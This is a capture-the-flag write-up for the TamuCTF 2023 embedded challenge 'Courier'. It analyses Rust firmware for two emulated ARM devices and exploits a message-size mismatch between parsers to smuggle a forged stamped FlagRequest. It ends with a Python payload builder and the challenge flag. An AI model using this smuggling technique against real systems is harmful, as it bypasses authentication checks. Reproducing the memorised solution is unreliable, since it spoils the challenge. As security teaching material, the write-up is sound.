# TamuCTF 2023 - Embedded - Courier WriteupIn my writeup for the [GoogleCTF 2022 for the Hardware *Weather*] challenge,I wrote
> I would definitely spend hours solving challenges like this once again.
Well, I can say that I finally found another challenge that I enjoyed as muchif not more.
I will guide you, the reader, to how I came up with the solution, but I wouldalso strongly suggest that you think about it for some time on your ownbefore and while reading, it's a fun learning experience and you will definitelyunderstand so much more like that.
If you are here only for the final solution and not interested in knowingthe steps of how this solution was discovered, you can jump to the[solution part](#the-attack).
Another important note before starting is, while I may make it seem likeI found the solution directly, in reality it is not the case, I had to gothrough many dead ends, times of frustration and intentions of giving up.The point is, don't feel bad if you don't find the solution immediately,what makes CTF challenges more fun is when the solution is not obvious,the more dead ends you go through, the more you learn too, and the joyof coming up with the solution at the end pays up for all the frustration.
# Challenge ResourcesIf by the time you are reading this writeup the CTF website is still up, thenyou can access the challenge through the linkhttps://tamuctf.com/challenges#Courier-34.
Otherwise, here is the challenge description and attachments:  ## Challenge descriptionAuthor: Addison
Special delivery! This device emulates a delivery system, but we don't havethe ability to connect to the stamping device. Can you trick the target intoleaking the flag?
Connections to the SNI courier will connect you to the UART of the device.You can test with the provided files (just install Rust with thethumbv7m-none-eabi target). We've provided the sender/ implementation as areference.
Hint: There are very few comments. The ones that are present are extremelyrelevant to the intended solution.
NOTE: sender is designed to only work locally on port 42069. To communicatewith the remote server, use `solver-template.py`, or run `socat -d -dTCP-LISTEN:42069,reuseaddr,fork EXEC:'openssl s_client -connect tamuctf.com\:443 -servername courier -quiet' in a separate terminal window beforerunning your solution.### Additional hintsSome contestants are having issues with local builds of courier (the programissues a hard fault when executed in qemu-system-arm) due to a local buildenvironment issue. We are unfortunately unable to reproduce and diagnose thisissue, so we have provided a working build, but these are not the same binariesthat are on the remote server. Notably, stamp.key and flag.txt have beenreplaced.
In addition, we provide the additional following hint: connections to theserver will not be able to observe debug output as it is not provided over theUART connection. Therefore, to observe debug statements, you must execute itlocally with the provided challenge files. You may run it locally with makebuild and HPORTS=42069 make -e run.## Challenge Attachments[courier.tar.gz](https://github.com/yarml/Writeups/raw/main/TamuCTF2023/Embedded-Courier/res/attachments/courier.tar.gz)
[solver-template.py](https://github.com/yarml/Writeups/raw/main/TamuCTF2023/Embedded-Courier/res/attachments/solver-template.py)---
If the challenge servers are still up, you can connect to the target machineeasily using `pwntools` with```pyp = remote("tamuctf.com", 443, ssl=True, sni="courier")```
# Prerequisite KnowledgeIn my writeup, I will assume you have at least some programming knowledge(and since you are interested enough in reading this writeup, then youdefinitely do). The code in the challenge is written in Rust, but if you knowother languages, you will be able to make sense of the code, as a matter of factI never read or written any Rust code in my life before looking at thischallenge.
However that does not mean that basic programming knowledge alone is what itneeded to solve the challenge, as such, I am going to take advantage of thischapter to talk about what I believe are some key concepts to know.
## ARMMost desktops and laptops today (not counting fancy Apply M1 & M2 laptops),as well as servers, have an x86 CPU in them. But x86 is not the dominant CPUarchitecture anywhere else, most notably in the phones market share, where ARMis dominant, and more generally in the embedded space as well.
In high level languages, in this case Rust, the exact CPU architecture does notmatter for the most part, but it is always good to know what architecturea piece of code is going to run on.
- [A tour of the ARM architecture and its Linux support](https://youtu.be/NNol7fRGo2E)- [Stellaris® LM3S6965Microcontroller Data Sheet](https://www.ti.com/lit/ds/symlink/lm3s6965.pdf)- [Wikipedia ARM architecture family](https://en.wikipedia.org/wiki/ARM_architecture_family)
## UARTUART, which stands for *Universal Asynchronous Receiver/Transmitter*, isa protocol that allows two microcontrollers to communicate between each other,using no more than two pins: Tx for transmission and Rx for reception.
- [Wikipedia Universal asynchronous receiver-transmitter](https://en.wikipedia.org/wiki/Universal_asynchronous_receiver-transmitter)- [KeyStone Architecture Universal Asynchronous Receiver/Transmitter (UART) User Guide](https://www.ti.com/lit/sprugp1)
## EmulationIt is possible to have a piece of software emulate the behavior of somehardware, these are known as virtual machines. This is relevant in thischallenge because the two devices that run the Rust code are emulated using[Qemu](https://www.qemu.org/).
# Initial ExperimentsUsing the `solver-template.py`, we can connect to an instance of the system,the device we are connected to does not print anything directly after connectionso we are only left with the red `$` coming from `pwntools`' `interactive()`function.
If we try to execute something like `help`, nothing gets displayed either, soI assume the connection we have is not into some kind of Linux shell,and I cannot think of any more blink testing that can be done here, so it istime to read the source code.
# Exploring The SystemThe source code is written in Rust, and is divided into small units each one ofwhich is in its own directory. We sadly do not have any kind of documentationabout the system, so we will need to figure it out ourselves.
There is no real way to know where to start reading the source code, thereforeI think the wise thing to do is read the `Dockerfile` first since it will giveus an idea about the environment the server challenges are in.
## DockerfileFrom the `Dockerfile`, we can know that the challenge servers are running aLinux environment, but more importantly, `Qemu` is installed, and the command```shsocat -d -d TCP-LISTEN:$PORT,reuseaddr,fork EXEC:/opt/chal/entrypoint.sh```is executed right at the startup of the docker container.
The command is very cryptic, thankfully however, we have the Linux manual toexplain what those options mean, you can check the full manual entry for `socat`[here](https://linux.die.net/man/1/socat), but basically, the `-d -d` part canbe ignored, it is there only to tell `socat` to output extra information.
`TCP-LISTEN` tells `socat` to listen on a specified port, in this case `$PORT`.The option `fork` tells socat to make a new child process for each newconnection, and I didn't really understand `reuseaddr`, but it does not seemthat important anyway.
`EXEC` tells socat that for each new connection, it should execute the programspecified in the command, in this case the shell script`/opt/chal/entrypoint.sh`, which is also the shell script we have with thesource code. The important part is that the standard input and output of thisprogram will be redirected to the network connection.
If you are not familiar with Unix file redirection and all these cool things,I suggest you watch [this video](https://youtu.be/GA2mIUQq48s)(maybe at 2x speed).
So in short, we know that the challenge servers will execute the shell script`entrypoint.sh` for each connection, so the next logical step is to see what`entrypoint.sh` does.
## entrypoint.shOther than cleanup setup, `entrypoint.sh` starts with two calls to`qemu-system-arm` in background with `&`.
The command line for the first Qemu instance is```shqemu-system-arm \  -cpu cortex-m3 -machine lm3s6965evb -display none \  -semihosting-config enable=on,target=native       \  -serial unix:"${socks}/consignee",server          \  -kernel "${challenge_base}/consignee" &```While for the second Qemu instance, it is```shqemu-system-arm \  -cpu cortex-m3 -machine lm3s6965evb -display none \  -semihosting-config enable=on,target=native       \  -serial unix:"${socks}/sender",server             \  -serial unix:"${socks}/consignee"                 \  -kernel "${challenge_base}/courier" &```
The most interesting options are `-serial` and `-kernel`.
The first Qemu instance launches the `consignee` kernel while also creatinga unix socket file `consignee` for serial communication.
The second Qemu instance launches the `courier` kernel while also creatinganother unix socket file `sender` for serial communication, and also usesthe `consignee` socket file to communicate with the first Qemu machine.
Then last we have this command```shsocat - UNIX-CONNECT:"${socks}/sender"```which will redirect `stdio` to the unix socket `sender` effectively making all`stdio` go to the serial input of the second Qemu instance. And remember, inthis shell script `stdio` is the input/output we send/receive to/fromthe challenge server.
We also know from `-cpu` what kind of processor the devices are running, whichis a Cortex-M3 processor.
## System ModelFor the sake of limiting confusion, I will name the two Qemu instances, basedon the kernel they are running, the first Qemu instance will be referred toas `consignee` device, while the second one will be the `courier` device.
Since our input/output goes to the `courier` device just like `courier`communicates with `consignee`, then we might think of our input/outputas coming from a third machine, which I will refer to as the `sender` device.
Below is a graphical presentation(excuse the poor drawing) of how all of thesedevices are connected to each other, or at least that is how much we know from`Dockerfile ` and `entrypoint.sh`.
![System representation](https://github.com/yarml/Writeups/blob/main/TamuCTF2023/Embedded-Courier/res/SysV1.png?raw=true)
The red lines represent communication between devices, while the devices arethose black outlined boxes.
If I had to give a wild not so educated guess, I would say that the flag residesin `consignee` for no other reason that it being the furthest awayfrom `sender`.
Now we can know where to start reading the source code, since out input firstreaches `courier`, it is definitely a good idea to start from there.
## Courier Source CodeThe source code for `courier` is all contained in a single file`courier/main.rs`, it is not however structured like a usual Rust program.Remember, `courier` is a kernel for the Cortex-M3 processor, as such, thereisn't the usual `main` function. However there is a function called `init`marked with the attribute `#[init]`, so, even if we do not bother looking upwhich dependency provides us with that attribute, we can assume this is out"`main`" function.
The function starts with what seems a heap initialization:```rustuse core::mem::MaybeUninit;static mut HEAP_MEM: [MaybeUninit<u8>; HEAP_SIZE] = [MaybeUninit::uninit(); HEAP_SIZE];unsafe { HEAP.init(HEAP_MEM.as_ptr() as usize, HEAP_SIZE) }```Which can be ignored.
After that, we have an initialization of the serial ports```rustlet (sender_manage, sender_rx, sender_tx) =  unsafe { UARTPeripheral::new(UARTAddress::UART0) }    .enable_transmit(true)    .enable_receive(true)    .enable_fifo(true)    .enable_break_interrupt(true)    .enable_receive_interrupt(true)    .finish()    .split();```And a very similar one for the connection with `consignee`:```rustlet (consignee_manage, consignee_rx, consignee_tx) =  unsafe { UARTPeripheral::new(UARTAddress::UART1) }    .enable_transmit(true)    .enable_receive(true)    .enable_fifo(true)    .enable_break_interrupt(true)    .enable_receive_interrupt(true)    .finish()    .split();```These can also be largely ignored, all we can get from these is that thevariables `sender_manage`, `sender_rx` and `send_tx` and their `consignee`counter parts are used to manage the connection part, if we come across themlater in the source code.
After that the `init` function returns what seems to be a local state, thedetails of how this works exactly are not important, what matters is that thislocal state can be accessed from other functions.
The state returned is initialized in he following way:```rustLocal {  sender_manage,  sender_rx,  sender_tx,  consignee_manage,  consignee_rx,  consignee_tx,  stamp_ctr: 0,  next_msg_sender: None,  next_msg_consignee: None,  rx_buf_sender: Vec::new(),  rx_buf_consignee: Vec::new(),}```
Next, we have the function `recv_msg_sender`, which has the declaration
```rust#[task(    binds = UART0,    priority = 1,    local = [sender_rx, next_msg_consignee, rx_buf_sender]  )]fn recv_msg_sender(cx: recv_msg_sender::Context) { ... }```We can safely guess from the attribute and name that this function calledwhen `courier` receives a message from `sender` at UART0.
The function also accesses the members `sender_rx`, `next_msg_consignee` and`rx_buf_sender` from the local state.
The first part of the function basically makes sure to send any message thatfailed to be sent to `consignee` before processing any message from `sender`.
After that we enter a loop while there is still data to be read from `sender`.This data is read and processed byte by byte as evident by:```rustlet Ok(b) = uart.readb() else { return; };```This data is then put inside the local state in `rx_buf_sender` which actsas a buffer to store all the message from `sender` even though it is processedbyte by byte.
This buffer is then passed to `try_read_msg` with the call:```rusttry_read_msg::<_, { 1 << 12 }, false>(rx_buf)```We will analyze this function later.
`try_read_msg` returns one of three cases, an `Err(ReadMsgError::NotYetDone)`when it determines that the message was not yet received or processedentirely, an `Ok(msg)` when the function determines that we received the entiremessage, or an `Err(e)` when it determines that the currently being read messageis invalid.
The interesting part is (obviously) when `Ok(msg)` is returned, and when thathappens, the following sequence of code gets executed:```rustlet mut prev_buf = Vec::new();swap(rx_buf, &mut prev_buf);if let Err(msg) = send_msg_consignee::spawn((prev_buf, msg)) {    *next_msg = Some(msg);    return;}```The `rx_buf_sender` gets swapped with an empty buffer, so `prev_buf` containsthe input se sent for the current message, then we try to send a message toconsignee with the `send_msg_consignee` function, giving it the tupleparameter `(prev_buf, msg)` as well.
So let's read `send_msg_consignee`.
`send_msg_consignee` starts by checking the type of the message, apparently,there are two valid types of messages we the `sender` can send to `courier`,we can either send `Unstamped` messages or `Stamped` messages, in the formercase, nothing special is done, while in the latter case, some stamp is checkedfor validity, and if the stamp validity check fails, the function`send_msg_consignee` simply returns and doesn't continue to do the following.
If the message was unstamped, or it was stamped with a correct stamp, `courier`will simply forward the message to `consignee`, using the `prev_buf`, it willliterally just copy paste the message to `consignee` without any modifications.
The following two functions `recv_msg_consignee` and `send_msg_sender` basicallydo something very similar but in reverse, they forward all responses from`consignee` to `sender` as long as the message type is `Response`, not`Stamped` or `Unstamped`, or some invalid message type.
To recap what we know so far; There are 3 message types: `Unstamped`, `Stamped`,and `Response`. `courier` will forward all valid `Unstamped` messages, andall valid `Stamped` messages with a valid stamp from `sender` to `consignee`as is. `courier` will also forward back all messages of type `Response` from`consignee` back to `sender`.
With the behavior of `courier` known, we can move on to `consignee`.
## Consignee Source CodeSimilarly to the structure of `courier`, `consignee` has an `init` functionwhich we can skip analyzing because it is very similar to `courier`'s`init`.
Next, `consignee` has a `recv_msg` function, which receives messages from`courier`, similarly to `courier`'s `recv_msg_sender`, this functionprocesses any incoming message byte by byte, while using a buffer to storethe entire message when it's still being received. When the functionreceives a full and valid message, as determined by the same function`try_read_msg`, it calls `respond_to_msg` giving it the received message asparameter.
In `respond_to_msg` we get an insight into what `consignee` is useful for,the theory of `consignee` storing the flag is indeed true, because as a responseto the stamped message of type `FlagRequest`, `consignee` will return the flag.
Whatever response is generated by `respond_to_msg` is then sent, byte by byte,back to `courier`, and remember that `courier` simply forwards responses backto `sender` without any additional checks.
### Consignee's ProtocolBelow is a model of the responses given by `consignee` upon reception of a validrequest:- `Unstamped` messages:  - `HailstoneRequest(a: u16)` -> `HailstoneResponse(hailstone(a))`- `Stamped` messages:  - `WeddingInvitation` -> `WeddingResponse(...)` (useless)  - `FlagRequest` -> `FlagResponse(flag)` (not useless)
---It is then obvious what the objective we are aiming to achieve is, we want tomake `consignee` receive a `FlagRequest`.
Notice how `consignee` does NOT check the stamp, if it receives a stampedmessage, it will accept it's content even if the stamp is nonsense, it truststhat `courier` checked the stamp, and whenever there is trust, there isopportunity for a hacker.
This is all there is to `consignee`, it is really simple, and we already havean idea about how we need to attack the system.
Next, let's have a look at `try_read_msg`.
## try_read_msgThe source code for `try_read_msg` can be found in `courier-proto/src/lib.rs` atline 42.
First thing the function does is check the length of the in reception message:```rustif buf.len() >= MSG_MAGIC.len() + core::mem::size_of::<u16>()```If the length is greater than 10, it parses its header, the header should beas follows:
| Offset | Size | Content        | Description                              || ------ | ---- | -------------- | ---------------------------------------- || 0      | 8    | 'COURIERM'     | Magic                                    || 8      | 2    | msg_len:MSBu16 | Number of bytes to read after the header |
The very confusing sequence```rustlet mut len_buf = [0u8; core::mem::size_of::<u16>()];buf.iter()    .copied()    .skip(MSG_MAGIC.len())    .take(core::mem::size_of::<u16>())    .zip(&mut len_buf)    .for_each(|(b, e)| *e = b);let msg_len = u16::from_be_bytes(len_buf);```basically reads `msg_len` from the header and stores in the variable withthe same name, part of me thinks there was probably a simpler and more clear wayto do that, but the devs wanted to make it confusing.
Next we check if the message size if larger than `MAX_SIZE`, and if it is thecase, we clear the buffer and return an `Err(MessageTooLong)`. `MAX_SIZE` isa template parameter(I don't know if they are called templates in Rust, usingC++ terminology), and very suspiciously, `courier` sets it to `1 << 12` while`consignee` to `1 << 10`, this should not be the case because all `sender`messages are forwarded to `consignee`, and as such both `courier` and`consignee` should share the same definition of what a *message* is.
Knowing that the buffer is cleared when `msg_len > MAX_SIZE`, can you thinkof any ways this could be abused? If you are reading while trying to stillsolve the problem, I would suggest you really think about it.
### How can this be abused?Imagine that `sender` sends a message of length between the `MAX_SIZE` of`courier` and `consignee`, what would happen is that `courier` will think themessage is fine and forward it to `consignee`, but `consignee` will discardit after reading the first 10 bytes and finding out the message size is toolarge for it to handle. The bigger problem arises with the fact that `courier`,not knowing `consignee` rejected the message will still dump the rest ofthe message on `consignee`, `consignee` will be trying to read the body of themessage sent by `sender` as a header to a second fictional message. `consignee`will be effectively living a delusion, and all we need to do to trigger thisdelusion is to send a message with a size between `2^10` and `2^12`, like`2^11`.
---Let's continue reading through `try_read_msg`.
If the message is of valid length, then `try_read_msg` will keep returning`Err(NotYetDone)` until the buffer is of length `10 + msg_len`, in whichcase it will decode the message using `postcard`:```rustlet value =  postcard::from_bytes(    &buf[(MSG_MAGIC.len() + core::mem::size_of::<u16>())..]  )?;```[Here](https://postcard.jamesmunns.com/) is the documentation of `postcard`,and understanding the format which messages are encoded with will be essentialto build a message. This format is explained [later](#postcard) in thiswriteup.
If the template argument specifies it through `CLEAR_ON_DESER`, then the bufferwill be cleared when a message was successfully read, which is the case for`consignee`, while `courier` clears the buffer itself after swapping it witha new buffer.
Finally, if message decoding was successful, the function `try_read_msg` returnsthe decoded message.
The first part of the header `COURIERM` is validated with the buffer sizeis still less than `10` with:```rustif last != MSG_MAGIC[buf.len() - 1]```
And in case the last character of the buffer is not the correct one from themagic then:```rustbuf.clear();buf.push(last); // we might actually be handling```The buffer is cleared and the last character is put back.
## PostcardThe format `postcard` uses to encode messages is really simple.
Integers are stored in the `varint` format to take as little space as possible.While enums are stored as their numerical value followed by any data they have.
### ExamplesThe message `Unstamped(HailstoneRequest(17))` will be encoded as the bytearray:```py[  0x00, # Enum value of Unstamped  0x00, # Enum value of HailstoneRequest  0x11  # Hex for varint(17u16)]```
The subsequent response `Response(HailstoneResponse(12))` will be encoded as thebyte array:```py[  0x02, # Enum value of Response  0x00, # Enum value of HailstoneResponse  0x0C  # Hex for varint(12u16)]```
The file [`encoder.rs`](https://github.com/yarml/Writeups/blob/main/TamuCTF2023/Embedded-Courier/res/encoder.rs) is a simple tool I wrote that wouldprint the encoding of a couriered package, it needs to be modified from sourceto print the encoding of a different couriered package, but it is really simple(and also my first written lines of Rust).
# The AttackNow let's put all the knowledge we gained from analyzing the system togetherand let's see how it can be fatally exploited.
We know that `consignee` does not check stamps and trusts that `courier` didso. And we know that `consignee` can still reject a message sent to it from`courier` in the case the message is of a size between `2^10` and `2^12`.This also allows us to make `consignee` read a *sub*message from the bodyof another *parent* message.
It is kind of obvious how this can be exploited, we need to send an `Unstamped`message to `courier` of size `2^11` for example, and have in its body a`Stamped` *sub*message for `consignee` with th `FlagRequest`.
The format of the `FlagRequest` message is as follows:```rustStamped(  StampedPackage {    ctr: 0x0c, // arbitrary    hmac: [0x0du8; 32], // arbitrary    stamped_payload: Vec::from(      [1u8] // Enum value for FlagRequest    )  })```Which is encoded to```py[  0x01, # Enum value of Stamped  0x0c, # ctr  0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, # hmac p1  0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, # hmac p2  0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, # hmac p3  0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, # hmac p4  0x01, # Count of next byte  0x01  # Enum value of FlagRequest]```
So all we need to do is wrap this structure inside a long unstamped message that`courier` naively thinks is a `HailstoneRequest`
We can do so with the following python script:```pymessage = list()
message += 'COURIERM'.encode() # Header of the first real messagemessage += [0x08, 0x00]        # 2^11 bytes message lengthmessage += [0x00, 0x00]        # Unstamped HailstoneRequestmessage += 'COURIERM'.encode() # Header for the fictional 2nd consignee messagemessage += [0x00, 0x24]        # 36 bytes message length
# Encoded fake stamped FlagRequest packagemessage += [0x01, 0x0c, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x01, 0x01]
print(len(message))print(f'{bytes(message)}')print('Adding 0s')
# The real message needs to be 2^11 + 10 bytes in length, so we pad with 0smessage += [0]*(2058-len(message))```
Finally, if we send this message using a modified version of`solver-template.py`, we receive back```pyb'COURIERM\x00>\x02\x02;Oh, sure! Here you go: gigem{what_is_old_becomes_new_again}'```
And this is it, 20 hours of work and the flag is`gigem{what_is_old_becomes_new_again}`
[GoogleCTF 2022 for the Hardware *Weather*]: https://github.com/yarml/Writeups/blob/main/GoogleCTF2022/Hardware-Weather/README.md